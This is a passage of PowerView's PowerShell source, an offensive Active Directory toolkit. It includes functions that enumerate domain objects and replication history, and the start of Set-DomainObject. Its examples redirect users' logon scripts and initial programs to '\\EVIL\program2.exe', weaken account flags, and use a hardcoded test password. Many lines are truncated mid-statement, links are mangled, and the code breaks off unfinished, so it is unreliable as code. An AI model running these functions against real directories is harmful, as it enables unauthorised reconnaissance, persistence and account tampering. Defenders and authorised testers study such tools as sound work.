distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,D
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admin
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw,
[Switch]
$SSL,
[Switch]
$Obfuscate,
[String]
$Certificate,
[String]
$CertPassword
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
if ($PSBoundParameters['Certificate']) {$SearcherArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) {$SearcherArguments['CertPassword'] = $CertPasswor
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace '
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInst
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDom
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToStrin
Write-Output "$GuidByteString"
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-A
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.Ind
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInsta
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostn
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayna
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
if ($Filter -and $Filter -ne '') {
$SearcherArguments['LDAPFilter'] = "(&$Filter)"
}
Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($Filter)"

$Results = Invoke-LDAPQuery @SearcherArguments


$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = Convert-LdapConnectionAttributes -Attributes $_.Attributes
}
else {
$Prop = $_.Properties
}
$Object = Convert-LDAPProperty -Properties $Prop
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$Object
}
if ($Results -and -not $PSBoundParameters['SSL'] -and -not $PSBoundParameters['Certificate']) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
}
}
}
}
function Get-DomainObjectAttributeHistory {
<#
.SYNOPSIS
Returns the Active Directory attribute replication metadata for the specified
object, i.e. a parsed version of the msds-replattributemetadata attribute.
By default, replication data for every domain object is returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
This is the domain attribute replication metadata associated with the object. The results are
parsed from their XML string form and returned as a custom object.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Only return replication metadata on the specified property names.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectAttributeHistory -Domain testlab.local
Return all attribute replication metadata for all objects in the testlab.local domain.
.EXAMPLE
'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','9
ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat
e ingChange ingDsaDN
-------- ---------- ------------ ------------ ------- ------------
CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S...
CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S...
CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S...
.EXAMPLE
Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl
ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local
ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb
AttributeName : userAccountControl
LastOriginatingChange : 2017-03-07T19:56:27Z
Version :4
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.ADObjectAttributeHistory
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[OutputType('PowerView.ADObjectAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replattributemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_D
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOr
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOrig
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemeta
}
}
}
}
}
function Get-DomainObjectLinkedAttributeHistory {
<#
.SYNOPSIS
Returns the Active Directory links attribute value replication metadata for the
specified object, i.e. a parsed version of the msds-replvaluemetadata attribute.
By default, replication data for every domain object is returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'.
This is the domain linked attribute value replication metadata associated with the object. The
results are parsed from their XML string form and returned as a custom object.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Only return replication metadata on the specified property names.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a
Count Name
----- ----
4 CN=Administrators,CN=Builtin,DC=testlab,DC=local
4 CN=Users,CN=Builtin,DC=testlab,DC=local
2 CN=Guests,CN=Builtin,DC=testlab,DC=local
1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local
1 CN=Schema Admins,CN=Users,DC=testlab,DC=local
1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
4 CN=Domain Admins,CN=Users,DC=testlab,DC=local
1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local
1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local
1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local
8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local
2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,...
1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con...
1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local
3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local
.EXAMPLE
'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-Do
ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387
AttributeName : member
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-03-06T00:48:29Z
TimeCreated : 2017-03-06T00:48:29Z
LastOriginatingChange : 2017-03-06T00:48:29Z
Version :1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
AttributeName : member
AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-06-13T22:20:02Z
TimeCreated : 2017-06-13T22:20:02Z
LastOriginatingChange : 2017-06-13T22:20:22Z
Version :2
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
AttributeName : member
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-03-06T00:48:29Z
TimeCreated : 2017-03-06T00:48:29Z
LastOriginatingChange : 2017-03-06T00:48:29Z
Version :1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.EXAMPLE
Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local
ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2
AttributeName : member
AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
TimeDeleted : 2017-04-10T22:17:19Z
TimeCreated : 2017-04-10T22:17:19Z
LastOriginatingChange : 2017-04-10T22:17:19Z
Version :1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.ADObjectLinkedAttributeHistory
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-th
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[OutputType('PowerView.ADObjectLinkedAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOr
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOrig
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluem
}
}
}
}
}
function Set-DomainObject {
<#
.SYNOPSIS
Modifies a gven property for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the curre
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.PARAMETER Certificate
Certificate to authenticate to LDAP with.
.PARAMETER CertPassword
Password for certificate being used to authentication to LDAP with.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countryc
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear departmen
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
program2
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verb
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(nam
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPr
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
